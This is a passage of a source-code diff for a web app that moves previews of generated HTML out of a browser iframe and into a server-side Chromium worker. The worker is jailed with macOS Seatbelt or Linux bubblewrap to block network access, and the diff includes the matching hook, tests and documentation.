- expect(api.getMusicVideoCompositionPreview).not.toHaveBeenCalled();
+ expect(opens()).toHaveLength(0);
expect(screen.getByText('Expand to load preview')).toBeInTheDocument();
expect(screen.getByLabelText('Scrub the composition preview')).toBeDisabled();
expect(screen.queryByText('0.00s / 0.0s')).not.toBeInTheDocument();
rerender(<CompositionPreviewPlayer project={project} audioUrl={null} collapsed={false} />);
- await screen.findByTitle('Composition document preview');
- expect(api.getMusicVideoCompositionPreview).toHaveBeenCalledTimes(1);
+ await waitFor(() => expect(opens()).toHaveLength(1));
+ expect(screen.getByTitle('Composition document preview')).toBeInTheDocument();
} finally {
window.matchMedia = original;
}
@@ -189,47 +146,46 @@ describe('CompositionPreviewPlayer', () => {
try {
render(<CompositionPreviewPlayer project={project} audioUrl="/data/music/song.mp3" collapsed />);
await act(async () => {});
- expect(api.getMusicVideoCompositionPreview).not.toHaveBeenCalled();
+ expect(opens()).toHaveLength(0);
await act(async () => {
desktop.matches = true;
desktop.dispatchEvent(new Event('change'));
});
await screen.findByTitle('Composition document preview');
expect(screen.getByRole('button', { name: 'Play' })).toBeEnabled();
- expect(api.getMusicVideoCompositionPreview).toHaveBeenCalledTimes(1);
+ expect(opens()).toHaveLength(1);
await act(async () => {
desktop.matches = false;
desktop.dispatchEvent(new Event('change'));
});
expect(screen.getByTitle('Composition document preview')).toBeInTheDocument();
- expect(api.getMusicVideoCompositionPreview).toHaveBeenCalledTimes(1);
+ expect(opens()).toHaveLength(1);
} finally {
window.matchMedia = original;
}
});
- it('runs the document in an opaque-origin sandbox and renders nothing without one', async () => {
+ it('renders nothing without a document and never mounts an iframe when one exists', async () => {
const { container, rerender } = render(<CompositionPreviewPlayer project={{ ...project, composition: { mode: 'document' } }} audioUrl={null} />);
expect(container).toBeEmptyDOMElement();
- expect(api.getMusicVideoCompositionPreview).not.toHaveBeenCalled();
+ expect(opens()).toHaveLength(0);
rerender(<CompositionPreviewPlayer project={project} audioUrl={null} />);
- const frame = await screen.findByTitle('Composition document preview');
- expect(frame.getAttribute('sandbox')).toBe('allow-scripts');
+ await screen.findByTitle('Composition document preview');
+ expect(document.querySelector('iframe')).toBeNull();
});
it('seeks to each outside request once the preview knows its length, and follows the lyric line', async () => {
const { rerender } = render(<CompositionPreviewPlayer project={project} audioUrl="/data/music/song.mp3" seekRequest={{ t: 2, n: 1 }} />);
- // The request arrived before the preview loaded; it applies when the duration is known.
await waitFor(() => expect(screen.getByText('2.00s / 10.0s')).toBeTruthy());
expect(screen.getByTestId('preview-lyric')).toHaveTextContent('first line');
+ const seekAt = socket.emit.mock.calls.findIndex(([event, payload]) => event === 'generated-preview:seek' && payload.t === 2);
+ expect(seekAt).toBeGreaterThan(socket.emit.mock.calls.findIndex(([event]) => event === 'generated-preview:open'));
- // Seeking again to the same time is a new request (a new n), not a no-op.
rerender(<CompositionPreviewPlayer project={project} audioUrl="/data/music/song.mp3" seekRequest={{ t: 4.5, n: 2 }} />);
await waitFor(() => expect(screen.getByText('4.50s / 10.0s')).toBeTruthy());
expect(screen.getByTestId('preview-lyric')).toHaveTextContent('second line');
- // Past the end clamps to the last frame instead of leaving the timeline.
rerender(<CompositionPreviewPlayer project={project} audioUrl="/data/music/song.mp3" seekRequest={{ t: 99, n: 3 }} />);
await waitFor(() => expect(screen.getByText(/^9\.9\ds \/ 10\.0s$/)).toBeTruthy());
});
@@ -241,5 +197,6 @@ describe('CompositionPreviewPlayer', () => {
await screen.findByTitle('Composition candidate preview');
expect(screen.getByLabelText('Scrub the composition preview').id).toBe('mv-doc-scrub');
expect(screen.getByLabelText('Scrub the composition candidate').id).toBe('mv-doc-draft-scrub');
+ expect(document.querySelector('iframe')).toBeNull();
});
});
diff --git a/client/src/hooks/README.md b/client/src/hooks/README.md
index 18b00e6570..368a418a7d 100644
--- a/client/src/hooks/README.md
+++ b/client/src/hooks/README.md
@@ -288,6 +288,7 @@ grep -i "what you want to do" client/src/hooks/README.md
| `useEidoverseFrame` | Per-load Eidoverse handshake with origin/window/session validation and browser-only label preferences. | Embedding the managed Eidoverse renderer. |
| `useGallerySidecars` | Hydrates a known filename list into its image-metadata sidecars (the prompt actually sent, negative, model, seed, size), keyed on contents rather than array identity, with a `setSidecar` splice for a freshly written record. | Any page showing renders it owns the refs for (universe draft, deck cards) that must open the lightbox on the real render prompt. |
| `useGalleryPreviewResolver` | Builds the stable `resolveItem` callback that resolves a `?preview=` param the host's own items list does not contain, by looking the record up in the gallery and normalizing it. `usePreviewRoute` uses it as its DEFAULT. | Call it directly only to narrow the lookup — `collectionId` scopes it to one collection. |
+| `useGeneratedPreview` | One OS-isolated generated-preview session. Emits `generated-preview:open` for `request` and returns inert JPEG frames, seek/command functions, and a recording blob. Film-look and title-card `controls` ride the open and later commands. A revision change reopens; a control change does not. Unsupported hosts surface `status: 'unavailable'` and never fall back to an iframe. | Music-video composition, code-video, and code-animation previews. |
| `useImageVariants` | Fetches the original-vs-cleaned variant set for the one open image (`GET /api/image-gen/:filename/variants`), normalized; reuses the held group across toggle clicks and aborts a superseded lookup. `null` while unfetched or failed, `[]` when the image is not indexed. | `MediaPreview` calls it for every image preview; neither a page-owned ref list nor a 60-row gallery window is a complete source of variant lineage. |
| `useGalleryPage` | Bounded image or mixed-media browsing with debounced server search, scopes, totals, stale-response cancellation and retryable next pages. | Gallery grids and pickers; `getGalleryImages` hydrates known references separately. |
| `usePagedCollection` | `usePagedCollection(fetchPage, { enabled })` — bounded cursor pages, deduplication by id, single-flight loading, abort/stale-query protection, retry, reset, and local mutation via setItems; an optional `meta` returned by `fetchPage` is exposed as the latest page's response-level data. | Growing cursor-based collections; pair with `InfiniteScrollFooter`. |
diff --git a/client/src/hooks/index.js b/client/src/hooks/index.js
index de0c7b3c3f..56e5f951f1 100644
--- a/client/src/hooks/index.js
+++ b/client/src/hooks/index.js
@@ -31,6 +31,7 @@ export { default as useFableLoomAiRun } from './useFableLoomAiRun.js';
export { default as useFocusTrap } from './useFocusTrap.js';
export { default as useGallerySidecars } from './useGallerySidecars.js';
export { default as useGalleryPreviewResolver } from './useGalleryPreviewResolver.js';
+export { default as useGeneratedPreview } from './useGeneratedPreview.js';
export { default as useImageVariants } from './useImageVariants.js';
export { default as useNoteSave } from './useNoteSave.js';
export { default as useVaultNote } from './useVaultNote.js';
diff --git a/client/src/hooks/useGeneratedPreview.js b/client/src/hooks/useGeneratedPreview.js
new file mode 100644
index 0000000000..f1081c7fdd
--- /dev/null
+++ b/client/src/hooks/useGeneratedPreview.js
@@ -0,0 +1,217 @@
+import { useCallback, useEffect, useRef, useState } from 'react';
+import { uuidv4 } from '../lib/uuid.js';
+import socket from '../services/socket';
+import useMounted from './useMounted.js';
+
+const EMPTY = {
+ status: 'idle',
+ reason: '',
+ durationSec: 0,
+ fps: 24,
+ width: 0,
+ height: 0,
+ frameUrl: '',
+ ready: false,
+ audioStatus: 'none',
+ lastEvent: null,
+ recording: null,
+};
+
+const newRequestId = () => uuidv4();
+
+const decode = (chunk) => {
+ const binary = atob(chunk);
+ const bytes = new Uint8Array(binary.length);
+ for (let i = 0; i < binary.length; i += 1) bytes[i] = binary.charCodeAt(i);
+ return bytes;
+};
+
+/**
+ * One isolated generated-preview session. The server renders the page and
+ * pushes JPEG frames; this hook never mounts the generated document.
+ * `request` is the reopen key. `controls` (film look, title card) ride the
+ * open and later commands, so a slider move does not relaunch the worker.
+ */
+export default function useGeneratedPreview({ active, request, controls = null }) {
+ const mounted = useMounted();
+ const pending = useRef(null);
+ const frameUrl = useRef('');
+ const recordingUrl = useRef('');
+ const controlsRef = useRef(controls);
+ controlsRef.current = controls;
+ const sentControls = useRef(null);
+ const [state, setState] = useState(EMPTY);
+ const requestKey = active && request ? JSON.stringify(request) : '';
+
+ const seek = useCallback((t) => {
+ const current = pending.current;
+ if (!current?.sessionId) return;
+ current.generation += 1;
+ socket.emit('generated-preview:seek', {
+ requestId: current.requestId,
+ sessionId: current.sessionId,
+ generation: current.generation,
+ t,
+ });
+ }, []);
+
+ const command = useCallback((action, extra = {}) => {
+ const current = pending.current;
+ if (!current?.sessionId) return;
+ socket.emit('generated-preview:command', {
+ requestId: current.requestId,
+ sessionId: current.sessionId,
+ generation: current.generation,
+ action,
+ ...extra,
+ });
+ }, []);
+
+ useEffect(() => {
+ sentControls.current = null;
+ }, [requestKey]);
+
+ useEffect(() => {
+ if (state.status !== 'ready' || !pending.current?.sessionId) return undefined;
+ const key = JSON.stringify(controls ?? null);
+ if (sentControls.current === key) return undefined;
+ const first = sentControls.current == null;
+ sentControls.current = key;
+ if (first || !controls) return undefined;
+ if ('look' in controls) command('film-look', { look: controls.look ?? null });
+ if ('card' in controls) command('title-card', { card: controls.card ?? null });
+ return undefined;
+ }, [controls, state.status, command, requestKey]);
+
+ useEffect(() => {
+ if (!requestKey) {
+ const current = pending.current;
+ pending.current = null;
+ if (current) {
+ socket.emit('generated-preview:close', {
+ requestId: current.requestId,
+ ...(current.sessionId ? { sessionId: current.sessionId } : {}),
+ });
+ }
+ if (mounted.current) setState(EMPTY);
+ return undefined;
+ }
+ const requestId = newRequestId();
+ pending.current = { requestId, sessionId: null, generation: 0 };
+ if (mounted.current) setState((prev) => ({ ...prev, status: 'opening', ready: false, reason: '', lastEvent: null }));
+ const mine = (payload) => payload?.requestId === requestId && pending.current?.requestId === requestId;
+
+ const onOpened = (payload) => {
+ if (!mine(payload)) return;
+ pending.current = { requestId, sessionId: payload.sessionId, generation: 0 };
+ if (!mounted.current) return;
+ setState((prev) => ({
+ ...prev,
+ status: 'ready',
+ ready: true,
+ reason: '',
+ durationSec: Number(payload.durationSec) || 0,
+ fps: Number(payload.fps) || 24,
+ width: Number(payload.width) || 0,
+ height: Number(payload.height) || 0,
+ audioStatus: payload.audio || 'none',
+ }));
+ };
+ const onFrame = (payload) => {
+ if (!mine(payload) || !payload.data) return;
+ if (pending.current.sessionId && payload.sessionId && payload.sessionId !== pending.current.sessionId) return;
+ let url = '';
+ try {
+ url = URL.createObjectURL(new Blob([decode(payload.data)], { type: 'image/jpeg' }));
+ } catch {
+ return;
+ }
+ const previous = frameUrl.current;
+ frameUrl.current = url;
+ if (previous) URL.revokeObjectURL(previous);
+ if (!mounted.current) return;
+ setState((prev) => ({ ...prev, frameUrl: url, status: 'ready', ready: true }));
+ };
+ const onUnavailable = (payload) => {
+ if (!mine(payload) || !mounted.current) return;
+ setState((prev) => ({
+ ...prev, status: 'unavailable', ready: false, reason: payload.message || 'Isolated preview is unavailable on this host.',
+ }));
+ };
+ const onError = (payload) => {
+ if (payload?.requestId && payload.requestId !== requestId) return;
+ if (pending.current?.requestId !== requestId || !mounted.current) return;
+ setState((prev) => ({
+ ...prev, status: 'error', ready: false, reason: payload.message || 'The isolated preview could not start.',
+ }));
+ };
+ const onEvent = (payload) => {
+ if (!mine(payload) || !mounted.current) return;
+ setState((prev) => ({ ...prev, lastEvent: payload }));
+ };
+ let recordingChunks = new Map();
+ const onRecording = (payload) => {
+ if (!mine(payload) || typeof payload.chunk !== 'string' || !payload.count) return;
+ const gen = payload.generation ?? 0;
+ let genChunks = recordingChunks.get(gen);
+ if (!genChunks) {
+ genChunks = [];
+ recordingChunks.set(gen, genChunks);
+ }
+ genChunks[payload.index] = payload.chunk;
+ if (genChunks.filter(Boolean).length !== payload.count) return;
+ recordingChunks.delete(gen);
+ const blob = new Blob(genChunks.map((chunk) => decode(chunk)), { type: payload.mime || 'video/webm' });
+ const url = URL.createObjectURL(blob);
+ if (recordingUrl.current) URL.revokeObjectURL(recordingUrl.current);
+ recordingUrl.current = url;
+ if (!mounted.current) return;
+ setState((prev) => ({ ...prev, recording: { blob, url, mime: payload.mime || 'video/webm' } }));
+ };
+ const onClosed = (payload) => {
+ if (!pending.current?.sessionId || payload?.sessionId !== pending.current.sessionId) return;
+ if (!mounted.current) return;
+ setState((prev) => ({ ...prev, status: 'idle', ready: false }));
+ };
+
+ socket.on('generated-preview:opened', onOpened);
+ socket.on('generated-preview:frame', onFrame);
+ socket.on('generated-preview:unavailable', onUnavailable);
+ socket.on('generated-preview:error', onError);
+ socket.on('generated-preview:event', onEvent);
+ socket.on('generated-preview:recording', onRecording);
+ socket.on('generated-preview:closed', onClosed);
+ const openControls = controlsRef.current || {};
+ socket.emit('generated-preview:open', {
+ requestId,
+ ...request,
+ look: openControls.look ?? null,
+ card: openControls.card ?? null,
+ });
+ return () => {
+ socket.off('generated-preview:opened', onOpened);
+ socket.off('generated-preview:frame', onFrame);
+ socket.off('generated-preview:unavailable', onUnavailable);
+ socket.off('generated-preview:error', onError);
+ socket.off('generated-preview:event', onEvent);
+ socket.off('generated-preview:recording', onRecording);
+ socket.off('generated-preview:closed', onClosed);
+ const current = pending.current;
+ if (current?.requestId === requestId) {
+ socket.emit('generated-preview:close', {
+ requestId,
+ ...(current.sessionId ? { sessionId: current.sessionId } : {}),
+ });
+ }
+ };
+ // `request` is read for the payload; requestKey is its identity.
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ }, [requestKey, mounted]);
+
+ useEffect(() => () => {
+ if (frameUrl.current) URL.revokeObjectURL(frameUrl.current);
+ if (recordingUrl.current) URL.revokeObjectURL(recordingUrl.current);
+ }, []);
+
+ return { ...state, seek, command };
+}
diff --git a/client/src/pages/CodeAnimation.test.jsx b/client/src/pages/CodeAnimation.test.jsx
index 5c894e239b..5224579d0c 100644
--- a/client/src/pages/CodeAnimation.test.jsx
+++ b/client/src/pages/CodeAnimation.test.jsx
@@ -3,10 +3,24 @@ import { act, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter, Route, Routes } from 'react-router';
-const socketHarness = vi.hoisted(() => ({ handlers: new Map() }));
+const socketHarness = vi.hoisted(() => ({ handlers: new Map(), emit: vi.fn() }));
vi.mock('../services/socket', () => ({ default: {
- emit: vi.fn(),
+ emit: (event, payload) => {
+ socketHarness.emit(event, payload);
+ if (event !== 'generated-preview:open') return;
+ const opened = {
+ requestId: payload.requestId,
+ sessionId: '11111111-1111-4111-8111-111111111111',
+ durationSec: 20, fps: 30, width: 1280, height: 720,
+ audio: payload.withAudio ? 'ready' : 'none',
+ revision: payload.revision,
+ };
+ for (const handler of socketHarness.handlers.get('generated-preview:opened') || []) handler(opened);
+ for (const handler of socketHarness.handlers.get('generated-preview:frame') || []) {
+ handler({ ...opened, generation: 0, mime: 'image/jpeg', data: btoa('frame') });
+ }
+ },
on: vi.fn((event, handler) => {
const handlers = socketHarness.handlers.get(event) || new Set();
handlers.add(handler);
@@ -164,7 +178,12 @@ describe('Code Animation page', () => {
expect(await screen.findByRole('button', { name: 'Run with audio' })).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Example animation/ })).toHaveTextContent('Completed');
await userEvent.setup().click(screen.getByRole('button', { name: 'Preview without audio' }));
- expect(await screen.findByTitle('Code animation preview')).toHaveAttribute('srcdoc', expect.stringContaining('Finished animation'));
+ const frame = await screen.findByTitle('Code animation preview');
+ expect(frame.tagName).toBe('IMG');
+ expect(document.querySelector('iframe')).toBeNull();
+ const open = socketHarness.emit.mock.calls.filter(([event]) => event === 'generated-preview:open').at(-1)[1];
+ expect(open).toEqual(expect.objectContaining({ kind: 'code-animation', jobId: 'job-1', withAudio: false }));
+ expect(open.html).toBeUndefined();
// Terminal records still reconcile: a missing output can be discovered later.
getCodeAnimationJob.mockResolvedValue({ ...completedJob, status: 'failed', error: 'Output missing', html: null });
diff --git a/client/src/pages/MusicVideo.test.jsx b/client/src/pages/MusicVideo.test.jsx
index d34f69c568..e191c583a4 100644
--- a/client/src/pages/MusicVideo.test.jsx
+++ b/client/src/pages/MusicVideo.test.jsx
@@ -169,7 +169,15 @@ vi.mock('../services/socket', () => ({
socketHandlers.get(event).add(fn);
},
off: (event, fn) => { socketHandlers.get(event)?.delete(fn); },
- emit: () => {},
+ emit: (event, payload) => {
+ if (event !== 'generated-preview:open') return;
+ const sessionId = `00000000-0000-4000-8000-${String(socketHandlers.size + 1).padStart(12, '0')}`;
+ const opened = {
+ requestId: payload.requestId, sessionId, durationSec: 60, fps: 24, width: 1920, height: 1080, audio: 'none', revision: payload.revision,
+ };
+ for (const fn of socketHandlers.get('generated-preview:opened') || []) fn(opened);
+ for (const fn of socketHandlers.get('generated-preview:frame') || []) fn({ ...opened, generation: 0, mime: 'image/jpeg', data: btoa('frame') });
+ },
connected: true,
},
}));
diff --git a/client/src/services/apiMusicVideo.js b/client/src/services/apiMusicVideo.js
index 5133922a78..fb05c7452b 100644
--- a/client/src/services/apiMusicVideo.js
+++ b/client/src/services/apiMusicVideo.js
@@ -103,7 +103,6 @@ export const prepareMusicVideoSong = (id, options = {}) => request(`/music-video
method: 'POST', ...options,
});
// The lyric timing playthrough page: the aligned words over a plain frame (same shape as the composition preview).
-export const getMusicVideoLyricPlaythroughPreview = (id, options = {}) => request(`/music-video/${encodeURIComponent(id)}/lyrics/playthrough/preview`, options);
export const getMusicVideoLyricOverlayPreview = (id, options = {}) => request(`/music-video/${encodeURIComponent(id)}/lyrics/overlay/preview`, options);
export const musicVideoLyricAlignEventsUrl = (jobId) =>
`/api/music-video/lyrics/align/${encodeURIComponent(jobId)}/events`;
@@ -512,7 +511,6 @@ export const startMusicVideoCompositionTemplate = (id, template = 'layered', opt
request(`${compositionDocumentPath(id)}/template`, { method: 'POST', body: JSON.stringify({ template }), ...options });
export const getMusicVideoCompositionExport = (id, options = {}) =>
request(`${compositionDocumentPath(id)}/export`, { responseType: 'arraybuffer', ...options });
-export const getMusicVideoCompositionPreview = (id, { draft = false, ...options } = {}) => request(`${compositionDocumentPath(id)}/preview${draft ? '?draft=1' : ''}`, options);
export const generateMusicVideoMixedMediaDocument = (id, body, options = {}) =>
request(`${compositionDocumentPath(id)}/generate`, { method: 'POST', body: JSON.stringify(body || {}), ...options });
export const getMusicVideoMixedMediaCandidate = (id, options = {}) => request(`${compositionDocumentPath(id)}/candidate`, options);
@@ -526,13 +524,7 @@ export const discardMusicVideoMixedMediaDocument = (id, directory, options = {})
request(`${compositionDocumentPath(id)}/candidate`, { method: 'DELETE', body: JSON.stringify({ directory }), ...options });
export const detachMusicVideoCompositionDocument = (id, options = {}) =>
request(compositionDocumentPath(id), { method: 'DELETE', ...options });
-// One preview asset (a scene take under /data, or a document file) as a Blob the
-// page posts into the sandboxed preview, which cannot fetch anything itself.
-export async function fetchMusicVideoPreviewAsset(url) {
- const response = await fetch(url, { credentials: 'same-origin' });
- if (!response.ok) throw new Error(`Could not load preview media (${response.status})`);
- return response.blob();
-}
+
export const getMusicVideoDependencyImpact = (id, options = {}) =>
diff --git a/docs/HTML_COMPOSITIONS.md b/docs/HTML_COMPOSITIONS.md
index 588cb3ea8a..3d7042c900 100644
--- a/docs/HTML_COMPOSITIONS.md
+++ b/docs/HTML_COMPOSITIONS.md
@@ -457,23 +457,42 @@ least 0.8s, and sung type stays at least 56px at 1080p. Palette tokens
options. Upgrading a pre-module layered engine adds the module's two tags in
front of the template's engine tag.
-The in-app preview nests its self-contained `srcdoc` in an opaque-origin sandbox
-inside a trusted wrapper. The wrapper's immutable `frame-src 'none'` policy
-blocks generated-page URL navigation and CSP-controlled network subresources.
-This is not complete network isolation: descendant srcdoc realms can regain
-WebRTC capabilities outside the original page guards (tracked in #11157).
-Only preview generated content you trust with the media made available to it. It relays only
-the preview protocol from its one child, stamped with the current preview revision;
-replacements retire the old bridge and pending media responses. The server inlines the document's scripts, stylesheets and
-small assets, and the scrubber posts `portos-mv:seek` messages. Larger media
-is bridged on demand: the PortOS page posts only the list of files
-(`window.PORTOS_MV_ASSETS` resolves to `{ src: src }`), and the first time a
-script sets a media element's `src` to one of them, the page fetches that file
-on the user's behalf and posts it in as a Blob (`window.PORTOS_MV_ASSET(src)`
-returns a promise of its blob: URL for other uses). The page keeps a bounded
-cache of fetched files, and object URLs idle for a few seconds are revoked
-once the preview holds more than 64 MB, unless a media element still plays
-them. So assign `src` when a frame needs the file, not every file at startup.
+The in-app composition, code-video, and code-animation previews do not run
+generated HTML in the user's browser. A private local Chromium worker executes
+the page and returns JPEG frames (and, for a recording, the finished WebM).
+The worker is wrapped in macOS Seatbelt (`/usr/bin/sandbox-exec`) or Linux
+bubblewrap (`/usr/bin/bwrap --unshare-net`). Seatbelt denies IP sockets, then
+allows the browser's own Unix sockets so Chrome can start, and denies the
+system resolver socket (`/private/var/run/mDNSResponder`) plus the DNS mach
+services. Bubblewrap's empty network namespace blocks direct UDP and TCP, and
+existing host resolver sockets are covered with `/dev/null`. Chrome's own
+process sandbox cannot initialize inside that jail (`sandbox_init` returns
+EPERM and the renderer crashes), so the worker starts with `--no-sandbox`.
+The OS jail is the egress boundary. Windows, Firefox,
+and WebKit have no such jail: the preview shows an explicit unavailable state
+and does not fall back to an iframe. Chrome's HTTP proxy is not the boundary.
+A fresh srcdoc realm can still open WebRTC; the OS deny is what stops UDP,
+HTTP, and navigation. The egress test drives a real local STUN, HTTP, and
+WebSocket collector, including a nested srcdoc, and treats a silent negative
+control (no jail) as an invalid proof. DNS is not proven by binding port 53.
+On macOS the same profile must make `getaddrinfo` fail for a name that resolves
+outside the jail, because the system resolver would send that query itself.
+
+Seek, film look, and the title card go over the private render protocol.
+Project media stays on the server (`streamMedia`); the client never fetches it
+into the page. Exact document or job revisions retire the previous worker.
+Closing the session kills the browser process group and deletes the scratch
+directory under `music-video-song-renders/`.
+
+Two limits stay explicit. The lyric-overlay animatic still mounts the shipped
+lyric template in an iframe because the storyboard has to show through it; that
+template is not given private media. Final MP4 encodes still use the existing
+owned Chromium with HTTP interception, not this OS deny. Authenticated agents
+keep the same preview authority as the signed-in user.
+
+Inside the worker the page still seeks with `portos-mv:seek`. Assign a media
+`src` when a frame needs the file. The server stages that file; the user's
+browser only receives the rendered frame.
Bound your own decoded-image cache the same way. A decoded 2048×1152 frame
costs about 9 MB however small its JPEG is, so a cache of 90 atlases can hold
diff --git a/server/lib/README.md b/server/lib/README.md
index cfab10679e..2406830338 100644
--- a/server/lib/README.md
+++ b/server/lib/README.md
@@ -34,6 +34,7 @@ The barrel `server/lib/index.js` is a machine-checkable enumeration of every pub
| `apiContractSchemas.js` | Canonical Zod request contracts for externally callable APIs plus `zodToOpenApiSchema` (plain JSON Schema — the 3.0.3 conversion happens at the OpenAPI document boundary, not here); runtime routes and OpenAPI use the same schema objects. |
| `codeAnimationAcceptance.js` | Code Animation production acceptance: splits run evidence into technical/visual/temporal/sound (unmeasured stays unverified), decides promotability, freezes source/audio/render hashes and detects stale acceptance. Pure. |
| `codeAnimationContainment.js` | Code Animation production worker containment contract: per-platform enforced mechanism (macOS Seatbelt or Linux bubblewrap, otherwise refusal), deny-by-default profiles and a process-denying Linux seccomp filter, from-scratch worker environment, operator tool-root rules, tool configuration and worker limit schemas. Pure; the runner is `services/codeAnimation/containedWorker.js`. |
+| `generatedPreviewSandbox.js` | OS network-isolation plan for generated preview browsers: macOS Seatbelt or Linux bubblewrap, otherwise refusal. The jail denies IP and the host DNS resolver; Chrome flags are defense in depth. Pure; the launcher is `services/htmlComposition/ownedBrowser.js`. |
| `codeAnimationPackage.js` | Versioned data-only Code Animation package schema, byte/path/reference integrity limits, SHA-256 revision binding, `createCodeAnimationPackage` and `summarizeCodeAnimationPackage`; validation never executes or stages code. |
| `socketEventContracts.js` | Payload contracts for modeled Socket.IO events, reusing live Zod validation for inbound events and documenting public outbound snapshots. |
| `socketEventInventory.js` | Cached source-derived Socket.IO event inventory: event names and directions only, with no checked-in manifest or positional source metadata. |
@@ -889,5 +890,3 @@ The barrel `server/lib/index.js` is a machine-checkable enumeration of every pub
| `deepAudit.js` | Strict Deep audit checkpoint schema, scope invalidation, server-assigned passes and mechanical completion rules. |
- `auditWorkflow.js`: versioned extended Deep execution and historical certification classification.
-
-| `generatedPreviewSandbox.js` | Browser-safe trusted wrapper for generated previews, child navigation containment and revision-bound typed media/recording relay. |
diff --git a/server/lib/generatedPreviewSandbox.js b/server/lib/generatedPreviewSandbox.js
index 216f005cad..0104754de2 100644
--- a/server/lib/generatedPreviewSandbox.js
+++ b/server/lib/generatedPreviewSandbox.js
@@ -1,51 +1,178 @@
-/** Browser-safe containment for generated HTML. The trusted outer document owns
- * the navigation policy; generated code never shares its DOM or origin.
- * srcdoc boots under frame-src 'none', but a child's URL navigation is blocked.
+/**
+ * Network-isolation contract for generated preview browsers (#11157).
+ *
+ * A fresh srcdoc realm gets its own constructors, so a page CSP and a
+ * constructor freeze in the original document do not stop WebRTC, DNS, or a
+ * nested navigation. The preview browser therefore runs under an OS mechanism
+ * that denies IP networking, with Chrome flags only as defense in depth.
+ * Firefox, WebKit, and hosts without Seatbelt or bubblewrap are unsupported:
+ * callers fail closed instead of executing generated HTML in the user's browser.
+ *
+ * Pure: no filesystem, process, or settings access.
*/
-export const GENERATED_PREVIEW_CSP = [
- "default-src 'none'", "script-src 'unsafe-inline' data:", "style-src 'unsafe-inline'",
- 'img-src data: blob:', 'media-src data: blob:', 'font-src data: blob:',
- "connect-src 'none'", "frame-src 'none'", "object-src 'none'", "worker-src 'none'",
- "base-uri 'none'", "form-action 'none'", "manifest-src 'none'",
+
+export const PREVIEW_SEATBELT = '/usr/bin/sandbox-exec';
+export const PREVIEW_BUBBLEWRAP = '/usr/bin/bwrap';
+
+// Header policy for a generated page whose scripts and media are same-origin
+// files or data/blob URLs. connect-src and frame-src stay closed; the OS jail
+// is what actually stops UDP and a fresh realm that ignores this policy.
+export const PREVIEW_PAGE_CSP = [
+ 'sandbox allow-scripts',
+ "default-src 'none'",
+ "script-src 'self' 'unsafe-inline'",
+ "style-src 'self' 'unsafe-inline'",
+ "img-src 'self' data: blob:",
+ "font-src 'self' data:",
+ "media-src 'self' data: blob:",
+ "connect-src 'none'",
+ "frame-src 'none'",
+ "worker-src 'none'",
+ "object-src 'none'",
+ "base-uri 'none'",
+ "form-action 'none'",
].join('; ');
-const literal = (value) => JSON.stringify(value).replace(/</g, '\\u003c');
+/**
+ * Chrome arguments for one private preview profile.
+ * `denyNetwork` adds the flags that block proxied UDP and DNS. They are not
+ * the boundary: a test proves the OS jail with those flags absent on the
+ * negative control, and present only on the jailed launch. `dropSandbox` adds
+ * `--no-sandbox` because Chrome's own `sandbox_init` returns EPERM inside
+ * Seatbelt or bubblewrap and the renderer then crashes. The outer jail is the
+ * egress boundary.
+ */
+export function _previewChromeArgs(profileDir, { denyNetwork = true, dropSandbox = false } = {}) {
+ return [
+ '--headless=new',
+ ...(dropSandbox ? ['--no-sandbox'] : []),
+ '--remote-debugging-pipe',
+ ...(denyNetwork ? [
+ '--force-webrtc-ip-handling-policy=disable_non_proxied_udp',
+ '--host-resolver-rules=MAP * ~NOTFOUND',
+ '--proxy-server=http://127.0.0.1:9',
+ ] : []),
+ '--disable-background-networking',
+ '--disable-background-timer-throttling',
+ '--disable-backgrounding-occluded-windows',
+ '--disable-renderer-backgrounding',
+ '--disable-component-update',
+ '--disable-sync',
+ '--disable-breakpad',
+ '--no-first-run',
+ '--no-default-browser-check',
+ '--mute-audio',
+ `--user-data-dir=${profileDir}`,
+ 'about:blank',
+ ];
+}
+
+/**
+ * Seatbelt profile: allow Chrome's normal process and file needs, then deny
+ * IP networking. Last matching rule wins. Unix sockets are allowed again after
+ * `(deny network*)` so the browser can bind its own helper sockets. The system
+ * resolver socket stays denied: `getaddrinfo` would otherwise ask mDNSResponder,
+ * outside the jail, to send the DNS query.
+ */
+export function _previewSeatbeltProfile() {
+ return `(version 1)
+(allow default)
+(deny network*)
+(deny system-socket (socket-domain AF_INET))
+(deny system-socket (socket-domain AF_INET6))
+(allow system-socket (socket-domain AF_UNIX))
+(allow system-socket (socket-domain AF_SYSTEM))
+(allow network-bind (local unix-socket))
+(allow network-inbound (local unix-socket))
+(allow network-outbound (remote unix-socket))
+(deny network-outbound
+ (literal "/private/var/run/mDNSResponder")
+ (literal "/var/run/mDNSResponder")
+ (remote unix-socket (path-literal "/private/var/run/mDNSResponder"))
+ (remote unix-socket (path-literal "/var/run/mDNSResponder")))
+(deny mach-lookup
+ (global-name "com.apple.mDNSResponder"
+ "com.apple.mDNSResponder.helper"
+ "com.apple.dnssd.service"))
+`;
+}
+
+/** Host resolver sockets an empty network namespace does not hide. */
+export const PREVIEW_HOST_RESOLVER_SOCKETS = [
+ '/run/systemd/resolve/io.systemd.Resolve',
+ '/run/systemd/resolve/io.systemd.Resolve.Monitor',
+ '/run/nscd/socket',
+ '/var/run/nscd/socket',
+ '/run/avahi-daemon/socket',
+ '/var/run/avahi-daemon/socket',
+];
-export const MUSIC_VIDEO_PREVIEW_MESSAGES = {
- fromChild: ['portos-mv:loaded', 'portos-mv:request', 'portos-mv:seeked', 'portos-mv:error'],
- toChild: ['portos-mv:manifest', 'portos-mv:asset', 'portos-mv:seek', 'portos-mv:film-look', 'portos-mv:title-card'],
-};
+/**
+ * bubblewrap argv after the bwrap binary. The network namespace is empty.
+ * `hostResolverSockets` are paths that exist on this host; each is covered
+ * with `/dev/null` so glibc cannot ask the host resolver to send DNS.
+ */
+export function _previewBubblewrapArgs(executable, chromeArgs, hostResolverSockets = []) {
+ const covers = [];
+ for (const path of hostResolverSockets) {
+ covers.push('--ro-bind-try', '/dev/null', path);
+ }
+ return [
+ '--unshare-net',
+ '--die-with-parent',
+ '--bind', '/', '/',
+ '--dev-bind', '/dev', '/dev',
+ '--proc', '/proc',
+ ...covers,
+ '--',
+ executable,
+ ...chromeArgs,
+ ];
+}
-export function buildGeneratedPreviewSandbox(html, { revision, fromChild, toChild }) {
- // Install the guards before ANY provider markup, including markup before its head.
